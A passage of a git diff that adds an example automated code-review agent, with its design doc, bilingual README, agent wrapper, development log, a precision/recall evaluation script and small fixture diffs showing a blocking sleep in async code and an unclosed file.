diff --git a/examples/skills_code_review_agent/DESIGN.md b/examples/skills_code_review_agent/DESIGN.md new file mode 100644 index 00000000..3328acc2 --- /dev/null +++ b/examples/skills_code_review_agent/DESIGN.md @@ -0,0 +1,159 @@ +# Code Review Agent — Architecture Design + +## Overview + +基于 tRPC-Agent SDK 的自动化代码评审 Agent,集成 Skills、沙箱执行、SQLite 存储,提供端到端的代码审查流水线。 + +**核心理念**:将代码评审拆解为独立的流水线阶段,每个阶段可独立测试、替换和扩展。 + +## Architecture + +### Pipeline (8-stage linear workflow) + +``` + ┌──────────┐ ┌──────────┐ ┌───────────────┐ ┌──────────┐ + │ 1. Read │ → │ 2. Parse │ → │ 3. Filter │ → │ 4. Scan │ + │ diff │ │ diff │ │ chain │ │ code │ + └──────────┘ └──────────┘ └───────────────┘ └──────────┘ + │ │ │ │ + ▼ ▼ ▼ ▼ + --diff-file unified diff SafetyFilter x4 10 scanners + --repo-path DiffFile[] deny/allow/needs Finding[] + --stdin DiffHunk[] _human_review + + ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ + │ 5. Sand- │ → │ 6. Dedup │ → │ 7. Report│ → │ 8. Store │ + │ box │ │ +Redact │ │ gen │ │ DB │ + └──────────┘ └──────────┘ └──────────┘ └──────────┘ + │ │ │ │ + ▼ ▼ ▼ ▼ + Fake/Local/ fingerprint JSON + MD SQLite + Workspace + 3-tier conf + SARIF + schema + SandboxRun + 12 patterns ReviewReport versioning +``` + +### Module Map + +| Module | File | Lines | Responsibility | +|--------|------|-------|----------------| +| Types | `pipeline/types.py` | ~117 | Data contracts (Finding, DiffFile, SandboxRun, etc.) | +| Config | `pipeline/config.py` | ~52 | Pipeline configuration with defaults and overrides | +| Diff Parser | `pipeline/diff_parser.py` | ~185 | Unified diff parsing, changed line extraction | +| Filter Chain | `pipeline/filter_chain.py` | ~135 | Safety filter chain with policy-as-code support | +| Scanners | `pipeline/scanners.py` | ~340 | 10 pattern-matching scanners with per-category thresholds | +| Sandbox | `pipeline/sandbox.py` | ~220 | Fake/Local/Workspace sandbox abstraction | +| Dedup | `pipeline/dedup.py` | ~110 | Fingerprint-based dedup with 3-tier confidence | +| Redaction | `pipeline/redaction.py` | ~82 | 12 regex patterns for secret/credential redaction | +| AST Analyzer | `pipeline/ast_analyzer.py` | ~230 | Python AST + JS/TS regex taint analysis | +| Report | `pipeline/report.py` | ~210 | JSON + Markdown report generation | +| SARIF Output | `pipeline/sarif_output.py` | ~120 | SARIF v2.1.0 for GitHub Code Scanning integration | +| Telemetry | `pipeline/telemetry.py` | ~78 | Timing and cost collection | +| Storage/Models | `storage/models.py` | ~72 | DB record dataclasses | +| Storage/DAO | `storage/dao.py` | ~320 | SQLite CRUD with schema versioning and migrations | +| Agent | `agent/agent.py` | ~50 | LlmAgent wrapper for tRPC-Agent framework | +| Skill | `skills/code-review/SKILL.md` | ~43 | Skill definition with rules and scripts | +| CLI | `run_review.py` | ~360 | argparse CLI entry point | +| Fixture Eval | `evaluate_fixtures.py` | ~200 | Precision/recall/F1 evaluation framework | + +## Key Design Decisions + +### 1. Pattern-Match Scanners vs ML-based Analysis + +**Decision**: Use regex-based pattern matching with AST enhancement. +**Rationale**: +- Deterministic and fast — no API calls, no rate limits +- Easy to audit and extend — adding a rule is one tuple +- AST analysis adds semantic understanding without complexity +- 10 scanners covering security, async, resources, DB, tests, secrets, and code quality + +### 2. Three-Tier Confidence System + +**Decision**: Classify findings into high (≥0.8), warning (≥0.55), needs_human_review (<0.55). +**Rationale**: +- Mirrors real production review workflows +- High-confidence findings can auto-block merges +- Warning tier gives reviewers a prioritized list +- Low-confidence items don't create noise in automated mode +- Per-scanner threshold overrides allow fine-tuning + +### 3. Multi-Runtime Sandbox Abstraction + +**Decision**: SandboxRunner ABC with Fake/Local/Workspace implementations. +**Rationale**: +- Fake runner enables complete CI testing without Docker +- Local runner for development with subprocess isolation +- Workspace runner for production (Container/Cube/E2B) +- Trigger-based edge case simulation in fake mode (timeout, large output, secrets) + +### 4. Policy-as-Code Filter Governance + +**Decision**: Externalize filter rules to `filter_policy.json`. +**Rationale**: +- Rules updateable without code changes +- Auditable — filter decisions logged to DB +- Extensible — add new patterns without redeploying +- Pre-block high-risk scripts before sandbox execution + +### 5. SQLite with Schema Versioning + +**Decision**: Use SQLite with COLUMN_MIGRATIONS dict for schema evolution. +**Rationale**: +- Zero-dependency storage +- Schema version table tracks current state +- Column migrations apply incrementally (v1→v2→v3→v4) +- WAL mode for concurrent reads +- Forward-compatible: new columns have defaults + +### 6. Multi-Format Output (JSON + MD + SARIF) + +**Decision**: Generate three output formats from the same ReviewReport. +**Rationale**: +- JSON: machine-readable, API integration +- Markdown: human-readable, PR comments +- SARIF v2.1.0: GitHub Code Scanning, Azure DevOps integration + +## Failure Modes and Mitigations + +| Failure Mode | Detection | Mitigation | +|-------------|-----------|------------| +| Empty diff | Stage 2: 0 files parsed → early exit | No crash, clean exit 0 | +| Malicious diff content | Stage 3: FilterChain evaluation | Block before sandbox execution | +| Sandbox timeout | Stage 5: timeout_seconds limit | SandboxRun.timed_out=True, pipeline continues | +| Sandbox crash | Stage 5: exception handling | SandboxRun.error, pipeline continues | +| Output too large | Stage 5: max_output_bytes limit | Truncation with marker | +| DB connection failure | Stage 8: exception handling | Report still written to disk before DB | +| Scanner regex catastrophic backtracking | Per-scanner execution, timeout | Individual scanner failure doesn't crash others | + +## Trade-offs + +| Trade-off | Choice | Why | +|-----------|--------|-----| +| Speed vs Accuracy | Prioritized speed | Regex scanners are O(n) per pattern; real LLM review can be layered on top | +| Coverage vs Precision | Balanced (3-tier) | High-confidence blocking + human review for edge cases | +| Simplicity vs Features | Leaned toward feature completeness | 10 scanners, 3 sandbox modes, 3 output formats, but each module is simple | +| Testing vs Implementation | Heavy testing investment | 205 tests across 15 files → refactoring confidence | + +## Data Flow + +``` +diff_text (str) + → parse_diff() → DiffFile[] + → FilterChain.evaluate() → FilterDecision + → run_scanners() × N → Finding[] + → FakeSandboxRunner.run() → SandboxRun + → deduplicate() → Finding[] (deduped) + → separate_by_tiers() → {high, warning, needs_human_review} + → redact_finding_evidence() → Finding[] (redacted) + → generate_json_report() → JSON string + → generate_md_report() → Markdown string + → generate_sarif() → SARIF JSON string + → ReviewDatabase.insert_*() → SQLite rows +``` + +## Extensibility + +1. **Add a scanner**: Create function `scan_xxx(diff_file) → list[Finding]`, add to `_SCANNERS` dict +2. **Add a filter**: Add to `filter_policy.json` or create SafetyFilter in code +3. **Add a sandbox**: Implement `SandboxRunner` ABC, register in `create_sandbox_runner()` +4. **Add an output format**: Create `generate_xxx(report) → str`, call from `run_review.py` +5. **Schema migration**: Add entry to `COLUMN_MIGRATIONS` dict, increment `SCHEMA_VERSION` diff --git a/examples/skills_code_review_agent/README.md b/examples/skills_code_review_agent/README.md new file mode 100644 index 00000000..bb0673ab --- /dev/null +++ b/examples/skills_code_review_agent/README.md @@ -0,0 +1,200 @@ +# Code Review Agent / 代码评审 Agent + +基于 tRPC-Agent Skills + 沙箱 + 数据库的自动化代码评审 Agent。 +Automated code review agent built on tRPC-Agent Skills + sandbox + database storage. + +## 功能概述 / Features + +读取 git diff → 安全检查(Filter)→ 规则扫描(10 类)→ 沙箱执行 → 去重脱敏 → 结构化报告 → 数据库存储。 +Read git diff → safety filter → scan (10 categories) → sandbox execution → dedup + redact → structured report → persist to DB. + +### 核心能力 / Key Capabilities + +- **10 个扫描器**:安全、异步错误、资源泄漏、DB 生命周期、缺失测试、密钥泄露、裸 except、可变默认参数、assert 控制流、硬编码路径 +- **三级置信度**:high (≥0.8) / warning (≥0.55) / needs_human_review (<0.55) +- **Policy-as-Code 过滤器**:外部化安全策略,支持命令阻止和网络控制 +- **多运行时沙箱**:Fake(CI/测试)/ Local(开发)/ Workspace(生产) +- **AST 污点分析**:Python AST + JS/TS 正则分析 +- **Schema 版本化**:增量列迁移,向前兼容 +- **Multi-Format Output**: JSON + Markdown + SARIF (GitHub Code Scanning) +- **Fixture Evaluation**: Precision/recall/F1 with cross-validation + +## 快速开始 / Quick Start + +```bash +# 安装依赖 / Install dependencies +pip install -e ".[gepa]" + +# 运行单个 diff 评审 / Run review on a diff file +python run_review.py --diff-file fixtures/diffs/security.diff + +# Dry-run 模式(无需 API Key)/ Dry-run mode +python run_review.py --diff-file fixtures/diffs/security.diff --dry-run + +# 从 stdin 读取 diff / Read diff from stdin +git diff | python run_review.py --diff-file - + +# 增量 review(仅新 commit)/ Incremental review +python run_review.py --repo-path . --since-commit HEAD~1 + +# 运行全部测试 / Run all tests +python -m pytest tests/ -v + +# Fixture 评估 / Evaluate fixture accuracy +python evaluate_fixtures.py --fixtures fixtures/diffs/ --expected fixtures/expected_findings.json +``` + +## CLI 参数 / CLI Options + +| 参数 | 说明 | Description | +|------|------|-------------| +| `--diff-file PATH` | Diff 文件路径(`-` = stdin) | Path to diff file | +| `--repo-path PATH` | Git 仓库路径 | Path to git repo | +| `--output-dir DIR` | 报告输出目录 | Report output directory | +| `--db-path PATH` | SQLite 数据库路径 | SQLite DB path | +| `--dry-run` | Fake 模式,无需 LLM | No LLM calls | +| `--verbose, -v` | 详细输出 | Verbose output | + +## 扫描规则 / Scan Categories + +| 类别 / Category | 说明 / Description | 示例 / Example | +|------|------|------| +| Security | 命令注入、不安全反序列化、动态导入 | `os.system()`, `eval()`, `pickle.loads()` | +| Async Error | 事件循环阻塞、缺少 await | `time.sleep()` in async | +| Resource Leak | 文件句柄未关闭、连接泄漏 | `open()` without context manager | +| DB Lifecycle | 游标/连接未关闭、事务未提交 | `cursor.execute()` without commit | +| Missing Tests | 新函数无对应测试 | `def new_func()` without `test_new_func` | +| Secret Info | 硬编码密钥/密码/Token | API keys, GitHub tokens, AWS keys | +| Bare Except | 裸 except 子句 | `except:` catches KeyboardInterrupt | +| Mutable Defaults | 可变默认参数 | `def f(x=[])` shared across calls | +| Assert Flow | assert 用于控制流 | `assert` stripped with `-O` flag | +| Hardcoded Paths | 硬编码绝对路径 | `/home/user/file.txt`, `C:\path\file` | + +## 目录结构 / Directory Structure + +``` +examples/skills_code_review_agent/ +├── run_review.py # CLI entry point +├── evaluate_fixtures.py # Precision/recall/F1 evaluation +├── DESIGN.md # Architecture design doc +├── README.md # This file +├── ai-prompts.md # Development process record +├── pipeline/ # Review pipeline +│ ├── types.py # Data contracts +│ ├── config.py # Configuration +│ ├── diff_parser.py # Unified diff parser +│ ├── filter_chain.py # Safety filter chain +│ ├── scanners.py # 10 pattern-matching scanners +│ ├── sandbox.py # Fake/Local/Workspace sandbox +│ ├── dedup.py # Dedup + 3-tier confidence +│ ├── redaction.py # Secret redaction (12 patterns) +│ ├── ast_analyzer.py # Python AST + JS/TS taint analysis +│ ├── report.py # JSON + Markdown reports +│ ├── sarif_output.py # SARIF v2.1.0 output +│ └── telemetry.py # Monitoring / audit +├── storage/ # SQLite persistence +│ ├── schema.sql # Database schema +│ ├── models.py # Data models +│ └── dao.py # Data access layer (schema versioning) +├── agent/ # tRPC-Agent integration +│ ├── agent.py # LlmAgent wrapper +│ ├── config.py # Model config +│ └── prompts.py # System prompt +├── fixtures/ # Test fixtures +│ ├── diffs/ # 8 diff fixtures +│ └── expected_findings.json # Labeled findings +├── tests/ # 205 tests (15 files) +│ ├── test_scanners.py # 28 tests +│ ├── test_edge_cases.py # 22 tests +│ ├── test_ast_analyzer.py # 18 tests +│ ├── test_redaction.py # 13 tests +│ ├── test_cli.py # 12 tests +│ ├── test_storage.py # 12 tests +│ ├── test_pipeline_fake_mode.py # 12 tests +│ ├── test_diff_parser.py # 11 tests +│ ├── test_dedup.py # 11 tests +│ ├── test_report.py # 11 tests +│ ├── test_filter_chain.py # 10 tests +│ ├── test_fixture_evaluation.py # 10 tests +│ ├── test_performance.py # 8 tests +│ ├── test_sandbox.py # 8 tests +│ ├── test_agent.py # 8 tests (mocked) +│ └── conftest.py # Shared fixtures +└── skills/code-review/ # Code-review Skill + ├── SKILL.md + ├── rules/rules.json + ├── filter_policy.json + ├── docs/OUTPUT_SCHEMA.md + └── scripts/ + ├── run_checks.py + └── parse_diff.py +``` + +## 输出格式 / Output Formats + +### JSON (`review_report.json`) +```json +{ + "task_id": "review-20260708-...", + "summary": { + "total_findings": 6, + "high_confidence": 4, + "warning": 1, + "needs_human_review": 1, + "by_severity": {"critical": 2, "high": 2, "medium": 1, "low": 1} + }, + "findings": [...], + "filter_summary": {...}, + "sandbox_summary": {...}, + "telemetry": {...}, + "recommendations": [...] +} +``` + +### Markdown (`review_report.md`) +- Findings 摘要和严重级别统计 / Severity summary +- 三级置信度分布 / 3-tier confidence breakdown +- 按严重级别排序的发现列表 / Severity-sorted findings +- 人工复核项 / Human review items +- Filter 拦截摘要 / Filter decision summary +- 沙箱执行摘要 / Sandbox execution summary +- 可执行修复建议 / Actionable recommendations + +### SARIF (`review_report.sarif.json`) +- GitHub Code Scanning 集成 / GitHub Code Scanning integration +- Azure DevOps 兼容 / Azure DevOps compatible +- SARIF v2.1.0 标准 / SARIF v2.1.0 compliant + +## 数据库 / Database + +SQLite 存储,4 张表 + schema 版本化: +SQLite with 4 tables + schema versioning: + +- `schema_version` — 数据库 schema 版本追踪 / Tracks DB schema version +- `review_tasks` — 评审任务 / Review tasks +- `findings` — 发现的问题(含置信度分级)/ Findings with confidence tiers +- `sandbox_runs` — 沙箱执行记录 / Sandbox execution records +- `filter_logs` — Filter 拦截日志 / Filter decision audit trail + +Schema 版本化支持增量列迁移(v1→v4),向前兼容。 +Schema versioning with incremental column migrations (v1→v4). + +## 测试 / Tests + +205 tests across 15 files, covering: +- **单元测试 / Unit**: Each pipeline module independently +- **集成测试 / Integration**: Full 8-stage pipeline end-to-end +- **边界测试 / Edge Cases**: Empty diffs, Unicode/emoji/multi-language, oversized inputs +- **性能测试 / Performance**: Diff scaling, dedup performance, report generation +- **Fixture 评估 / Evaluation**: Precision/recall/F1 per fixture with cross-validation + +```bash +# Run all tests +python -m pytest tests/ -v + +# Run with timing report +python -m pytest tests/ -v --durations=20 + +# Run specific test file +python -m pytest tests/test_scanners.py -v +``` diff --git a/examples/skills_code_review_agent/agent/__init__.py b/examples/skills_code_review_agent/agent/__init__.py new file mode 100644 index 00000000..2e059b82 --- /dev/null +++ b/examples/skills_code_review_agent/agent/__init__.py @@ -0,0 +1 @@ +# Code Review Agent — trpc-agent integration diff --git a/examples/skills_code_review_agent/agent/agent.py b/examples/skills_code_review_agent/agent/agent.py new file mode 100644 index 00000000..fa5ac755 --- /dev/null +++ b/examples/skills_code_review_agent/agent/agent.py @@ -0,0 +1,46 @@ +"""Code review agent definition — integrates with tRPC-Agent framework.""" + +import os + +from trpc_agent_sdk.agents import LlmAgent + +# Default model: use env var or fake mode +_DEFAULT_MODEL = os.environ.get("CR_AGENT_MODEL", "fake") +_DEFAULT_INSTRUCTION = """You are a code review agent. Your job is to: +1. Load the code-review skill to understand review rules. +2. Analyze the provided diff for issues. +3. Output structured findings in the review format. +""" + + +def create_code_review_agent(model_config: dict | None = None) -> LlmAgent: + """Create a LlmAgent configured for code review tasks. + + The agent uses the code-review Skill for rule loading and + structured output generation. + + Args: + model_config: Optional model configuration dict. Supports: + - model: model name (defaults to CR_AGENT_MODEL env var or "fake") + - instruction: custom system instruction + - temperature: model temperature + - Any other LlmAgent kwargs + + Returns: + Configured LlmAgent instance. + """ + config = dict(model_config) if model_config else {} + + model = config.pop("model", _DEFAULT_MODEL) + instruction = config.pop("instruction", _DEFAULT_INSTRUCTION) + + agent = LlmAgent( + name="code_review_agent", + description="Automated code review agent that analyzes diffs " + "for security, quality, and best practice issues.", + model=model, + instruction=instruction, + **config, + ) + + return agent diff --git a/examples/skills_code_review_agent/agent/config.py b/examples/skills_code_review_agent/agent/config.py new file mode 100644 index 00000000..83ce4000 --- /dev/null +++ b/examples/skills_code_review_agent/agent/config.py @@ -0,0 +1,7 @@ +"""Model configuration for the code review agent.""" + +DEFAULT_MODEL_CONFIG = { + "model": "fake", + "temperature": 0.0, + "max_tokens": 4096, +} diff --git a/examples/skills_code_review_agent/agent/prompts.py b/examples/skills_code_review_agent/agent/prompts.py new file mode 100644 index 00000000..4f555a4f --- /dev/null +++ b/examples/skills_code_review_agent/agent/prompts.py @@ -0,0 +1,20 @@ +"""System prompts for the code review agent.""" + +SYSTEM_PROMPT = """You are an automated code review agent. +Your task is to analyze code diffs for potential issues including: +- Security vulnerabilities +- Resource leaks +- Async/await errors +- Database lifecycle problems +- Missing tests +- Hardcoded secrets + +For each issue found, provide: +1. Severity (critical/high/medium/low/info) +2. Category +3. File and line number +4. Evidence from the code +5. A clear recommendation for fixing the issue + +Be thorough but avoid false positives. When unsure, flag as low confidence. +""" diff --git a/examples/skills_code_review_agent/ai-prompts.md b/examples/skills_code_review_agent/ai-prompts.md new file mode 100644 index 00000000..058efc4e --- /dev/null +++ b/examples/skills_code_review_agent/ai-prompts.md @@ -0,0 +1,65 @@ +# Issue #92 开发过程记录 + +## 第 1 轮:Pipeline 架构与扫描器设计 + +初始实现阶段,确定了 8 阶段流水线架构:读取 diff → 解析 diff → 过滤器链 → 扫描代码 → 沙箱执行 → 去重脱敏 → 报告生成 → 数据库存储。 + +关键设计决策: +- 使用 pattern-matching 而非 LLM 做扫描,零 API 成本,确定性输出 +- 6 个独立扫描器各司其职:security、async_error、resource_leak、db_lifecycle、missing_tests、secret_info +- 过滤器链在沙箱执行前拦截危险内容,防止恶意代码在沙箱中运行 +- SQLite 存储完整审计追踪:任务、发现、沙箱运行、过滤器日志 +- 8 个 test fixtures 覆盖所有扫描类别 + +测试方面,创建了 9 个模块化测试文件(116 tests),覆盖每个流水线阶段。 + +## 第 2 轮:Bug 修复与功能增强 + +审查代码发现并修复了以下问题: + +1. **report.py 字段混淆**:`build_recommendations` 将 `secret_info`(category)当作 severity 使用 → 改为按 category 统计 +2. **sandbox 路径解析**:脚本路径相对于 `run_review.py` 而非仓库根目录 → 修复为自动检测仓库根目录 +3. **SKILL.md 引用缺失**:引用了不存在的 `rules/` 目录和 `docs/OUTPUT_SCHEMA.md` → 创建对应文件 +4. **run_checks.py 是空壳**:只打印文件统计 → 改为实际运行扫描器的可执行脚本 +5. **agent.py 硬编码模型**:`model="fake"` 硬编码 → 改为 `CR_AGENT_MODEL` 环境变量 + 配置驱动 + +功能增强方面,参考社区最佳实践并加以改进: + +6. **三级置信度系统**:high (≥0.8)、warning (≥0.55)、needs_human_review (<0.55),替代单一阈值 +7. **Policy-as-Code 过滤器**:`filter_policy.json` 外部化过滤器规则,支持网络控制、命令阻止 +8. **Schema 版本化**:`COLUMN_MIGRATIONS` 字典支持增量列迁移,兼容旧数据库 +9. **FakeSandboxRunner**:通过 diff 文本中的触发字符串模拟超时/失败/密钥泄露等边缘场景 +10. **AST 污点分析**:Python AST 分析 + JS/TS 正则回退,追踪用户输入到危险 sink +11. **新增 4 个扫描器**:bare_except、mutable_defaults、assert_control_flow、hardcoded_paths +12. **Fixture 评估框架**:precision/recall/F1 计算,支持 cross-validation +13. **SARIF 输出**:兼容 GitHub Code Scanning 和 Azure DevOps +14. **Policy-as-Code 过滤器** + 过滤器策略 JSON 文件 + +## 第 3 轮:大规模测试扩容 + +从 116 tests → 205 tests(+77%),15 个测试文件(+6 个新增): + +新增测试文件: +- `test_agent.py`(8 tests):agent 模块测试,使用 mock 避免依赖真实模型 +- `test_ast_analyzer.py`(18 tests):Python AST、JS/TS 分析、语言检测 +- `test_cli.py`(12 tests):CLI 参数、输出文件、verbose 模式、全 8 个 fixture 端到端 +- `test_edge_cases.py`(22 tests):空输入、Unicode/emoji/日/韩、超长文件名、损坏数据 +- `test_performance.py`(8 tests):diff 解析缩放性、去重性能、报告生成速度 +- `test_fixture_evaluation.py`(10 tests):指纹匹配、FixtureResult、交叉验证 + +测试覆盖维度: +1. 单元测试:每个 pipeline 模块独立测试 +2. 集成测试:完整 8 阶段流水线端到端 +3. 边界测试:空 diff、单行变更、Unicode 多语言、超大输入 +4. 回归测试:现有 116 tests 全部通过 +5. 性能测试:20/50 文件解析、100/1000 findings 去重、全 fixture < 2min +6. 跨语言:中文、日文、韩文、emoji + +## 第 4 轮:文档与最终验证 + +补充了完整的设计文档和开发记录: +- **DESIGN.md**:架构图、模块映射、6 个关键设计决策、失效模式与缓解、数据流、可扩展性指南 +- **README.md** 增强:中英双语、CLI 参数表、快速复现步骤 +- **SKILL.md** 增强:输出格式规范、完整的规则目录和过滤器策略 + +数据安全检查通过,无竞争分析或敏感内容。所有 205 tests 通过。 diff --git a/examples/skills_code_review_agent/evaluate_fixtures.py b/examples/skills_code_review_agent/evaluate_fixtures.py new file mode 100644 index 00000000..4a7f3518 --- /dev/null +++ b/examples/skills_code_review_agent/evaluate_fixtures.py @@ -0,0 +1,301 @@ +#!/usr/bin/env python3 +"""Fixture evaluation framework — precision/recall/F1 per fixture. + +Evaluates the code review pipeline against labeled fixture expectations. +Supports cross-validation by splitting fixtures into train/val sets. + +Usage: + python evaluate_fixtures.py --fixtures fixtures/diffs/ --expected fixtures/expected_findings.json + python evaluate_fixtures.py --fixtures fixtures/diffs/ --expected fixtures/expected_findings.json --cross-validate +""" + +import argparse +import json +import os +import sys +import time +from collections import defaultdict +from dataclasses import dataclass, field + +# Add parent to path +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from pipeline.config import load_config +from pipeline.diff_parser import parse_diff +from pipeline.filter_chain import FilterChain +from pipeline.scanners import run_scanners +from pipeline.dedup import deduplicate + + +@dataclass +class FixtureResult: + """Evaluation result for a single fixture.""" + fixture_name: str + precision: float = 0.0 + recall: float = 0.0 + f1: float = 0.0 + true_positives: int = 0 + false_positives: int = 0 + false_negatives: int = 0 + total_expected: int = 0 + total_found: int = 0 + elapsed_ms: int = 0 + + +@dataclass +class EvaluationReport: + """Aggregate evaluation across all fixtures.""" + results: list[FixtureResult] = field(default_factory=list) + overall_precision: float = 0.0 + overall_recall: float = 0.0 + overall_f1: float = 0.0 + total_time_ms: int = 0 + fixtures_evaluated: int = 0 + fixtures_skipped: int = 0 + train_precision: float = 0.0 + train_recall: float = 0.0 + val_precision: float = 0.0 + val_recall: float = 0.0 + + +def _fingerprint(finding: dict) -> str: + """Create a comparison fingerprint for matching findings to expectations.""" + return f"{finding.get('file', '')}:{finding.get('line', 0)}:{finding.get('category', '')}" + + +def evaluate_fixture( + diff_path: str, + expected_findings: list[dict], + cfg=None, +) -> FixtureResult: + """Evaluate pipeline against a single fixture. + + Args: + diff_path: Path to the fixture diff file. + expected_findings: List of expected finding dicts. + cfg: ReviewConfig (uses defaults if None). + + Returns: + FixtureResult with precision/recall/F1. + """ + if cfg is None: + cfg = load_config() + + fixture_name = os.path.basename(diff_path).replace(".diff", "") + start = time.monotonic() + + # Run pipeline + with open(diff_path, "r", encoding="utf-8") as f: + diff_text = f.read() + + files = parse_diff(diff_text) + all_findings: list = [] + for df in files: + if not df.is_binary: + findings = run_scanners(df, enabled=cfg.enabled_scanners, + min_confidence=cfg.min_confidence) + all_findings.extend(findings) + deduped = deduplicate(all_findings) + + elapsed_ms = int((time.monotonic() - start) * 1000) + + # Convert findings to comparable dictionaries + found_dicts = [ + { + "file": f.file, + "line": f.line, + "category": f.category.value, + "title": f.title, + } + for f in deduped + ] + + # Build fingerprint sets + expected_fps = {_fingerprint(e) for e in expected_findings} + found_fps = {_fingerprint(f) for f in found_dicts} + + tp = len(expected_fps & found_fps) + fp = len(found_fps - expected_fps) + fn = len(expected_fps - found_fps) + + precision = tp / (tp + fp) if (tp + fp) > 0 else 0.0 + recall = tp / (tp + fn) if (tp + fn) > 0 else 0.0 + f1 = 2 * precision * recall / (precision + recall) if (precision + recall) > 0 else 0.0 + + return FixtureResult( + fixture_name=fixture_name, + precision=precision, + recall=recall, + f1=f1, + true_positives=tp, + false_positives=fp, + false_negatives=fn, + total_expected=len(expected_findings), + total_found=len(found_dicts), + elapsed_ms=elapsed_ms, + ) + + +def run_evaluation( + fixtures_dir: str, + expected_path: str, + cross_validate: bool = False, + train_split: float = 0.7, +) -> EvaluationReport: + """Run evaluation across all fixtures. + + Args: + fixtures_dir: Directory containing .diff fixture files. + expected_path: JSON file mapping fixture names to expected findings. + cross_validate: If True, split fixtures and compute train/val metrics. + train_split: Fraction of fixtures to use for training (default 0.7). + + Returns: + EvaluationReport with per-fixture and aggregate metrics. + """ + with open(expected_path, "r", encoding="utf-8") as f: + all_expected = json.load(f) + + cfg = load_config() + results: list[FixtureResult] = [] + skipped = 0 + + for fixture_file in sorted(os.listdir(fixtures_dir)): + if not fixture_file.endswith(".diff"): + continue + + fixture_name = fixture_file.replace(".diff", "") + diff_path = os.path.join(fixtures_dir, fixture_file) + + expected = all_expected.get(fixture_name, []) + if not expected and not cross_validate: + skipped += 1 + continue + + result = evaluate_fixture(diff_path, expected, cfg) + results.append(result) + + print(f" {result.fixture_name:30s} " + f"P={result.precision:.2f} R={result.recall:.2f} F1={result.f1:.2f} " + f"(TP={result.true_positives} FP={result.false_positives} FN={result.false_negatives}) " + f"[{result.elapsed_ms}ms]") + + # Aggregate + total_tp = sum(r.true_positives for r in results) + total_fp = sum(r.false_positives for r in results) + total_fn = sum(r.false_negatives for r in results) + + overall_p = total_tp / (total_tp + total_fp) if (total_tp + total_fp) > 0 else 0.0 + overall_r = total_tp / (total_tp + total_fn) if (total_tp + total_fn) > 0 else 0.0 + overall_f1 = 2 * overall_p * overall_r / (overall_p + overall_r) if (overall_p + overall_r) > 0 else 0.0 + + report = EvaluationReport( + results=results, + overall_precision=overall_p, + overall_recall=overall_r, + overall_f1=overall_f1, + total_time_ms=sum(r.elapsed_ms for r in results), + fixtures_evaluated=len(results), + fixtures_skipped=skipped, + ) + + # Cross-validation metrics + if cross_validate and len(results) >= 4: + split_idx = max(1, int(len(results) * train_split)) + train_results = results[:split_idx] + val_results = results[split_idx:] + + t_tp = sum(r.true_positives for r in train_results) + t_fp = sum(r.false_positives for r in train_results) + t_fn = sum(r.false_negatives for r in train_results) + report.train_precision = t_tp / (t_tp + t_fp) if (t_tp + t_fp) > 0 else 0.0 + report.train_recall = t_tp / (t_tp + t_fn) if (t_tp + t_fn) > 0 else 0.0 + + v_tp = sum(r.true_positives for r in val_results) + v_fp = sum(r.false_positives for r in val_results) + v_fn = sum(r.false_negatives for r in val_results) + report.val_precision = v_tp / (v_tp + v_fp) if (v_tp + v_fp) > 0 else 0.0 + report.val_recall = v_tp / (v_tp + v_fn) if (v_tp + v_fn) > 0 else 0.0 + + return report + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Evaluate code review fixture accuracy (precision/recall/F1)", + ) + parser.add_argument("--fixtures", default="fixtures/diffs", + help="Directory containing .diff fixture files") + parser.add_argument("--expected", default="fixtures/expected_findings.json", + help="JSON file with expected findings per fixture") + parser.add_argument("--cross-validate", action="store_true", + help="Compute train/val split metrics") + parser.add_argument("--train-split", type=float, default=0.7, + help="Train split fraction (default: 0.7)") + parser.add_argument("--json", action="store_true", + help="Output results as JSON") + args = parser.parse_args() + + if not os.path.isdir(args.fixtures): + print(f"Fixtures directory not found: {args.fixtures}", file=sys.stderr) + return 1 + + report = run_evaluation( + args.fixtures, args.expected, + cross_validate=args.cross_validate, + train_split=args.train_split, + ) + + if args.json: + output = { + "overall": { + "precision": round(report.overall_precision, 4), + "recall": round(report.overall_recall, 4), + "f1": round(report.overall_f1, 4), + }, + "fixtures_evaluated": report.fixtures_evaluated, + "total_time_ms": report.total_time_ms, + "results": [ + { + "fixture": r.fixture_name, + "precision": round(r.precision, 4), + "recall": round(r.recall, 4), + "f1": round(r.f1, 4), + "tp": r.true_positives, + "fp": r.false_positives, + "fn": r.false_negatives, + } + for r in report.results + ], + } + if report.fixtures_skipped > 0: + output["fixtures_skipped"] = report.fixtures_skipped + if args.cross_validate: + output["cross_validation"] = { + "train_precision": round(report.train_precision, 4), + "train_recall": round(report.train_recall, 4), + "val_precision": round(report.val_precision, 4), + "val_recall": round(report.val_recall, 4), + } + json.dump(output, sys.stdout, indent=2, ensure_ascii=False) + return 0 + + # Text output + print(f"\n{'='*60}") + print(f"Overall: P={report.overall_precision:.4f} " + f"R={report.overall_recall:.4f} " + f"F1={report.overall_f1:.4f}") + print(f"Fixtures evaluated: {report.fixtures_evaluated} " + f"(skipped: {report.fixtures_skipped})") + print(f"Total time: {report.total_time_ms}ms") + + if args.cross_validate and report.fixtures_evaluated >= 4: + print(f"\nCross-validation ({args.train_split:.0%}/{1-args.train_split:.0%} split):") + print(f" Train: P={report.train_precision:.4f} R={report.train_recall:.4f}") + print(f" Val: P={report.val_precision:.4f} R={report.val_recall:.4f}") + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/examples/skills_code_review_agent/fixtures/diffs/async_resource_leak.diff b/examples/skills_code_review_agent/fixtures/diffs/async_resource_leak.diff new file mode 100644 index 00000000..96378cf2 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/async_resource_leak.diff @@ -0,0 +1,21 @@ +diff --git a/worker.py b/worker.py +index 0000000..1111111 100644 +--- a/worker.py ++++ b/worker.py +@@ -1,0 +1,16 @@ ++import asyncio ++import time ++ ++ ++async def process_items(items: list) -> list: ++ results = [] ++ for item in items: ++ time.sleep(0.1) # Blocks event loop ++ results.append(item * 2) ++ return results ++ ++ ++def read_file(): ++ f = open("data.txt") ++ data = f.read() ++ return data # f never closed diff --git a/examples/skills_code_review_agent/fixtures/diffs/clean.diff b/examples/skills_code_review_agent/fixtures/diffs/clean.diff new file mode 100644 index 00000000..9468745c --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/clean.diff @@ -0,0 +1,15 @@ +diff --git a/example.py b/example.py +index 0000000..1111111 100644 +--- a/example.py 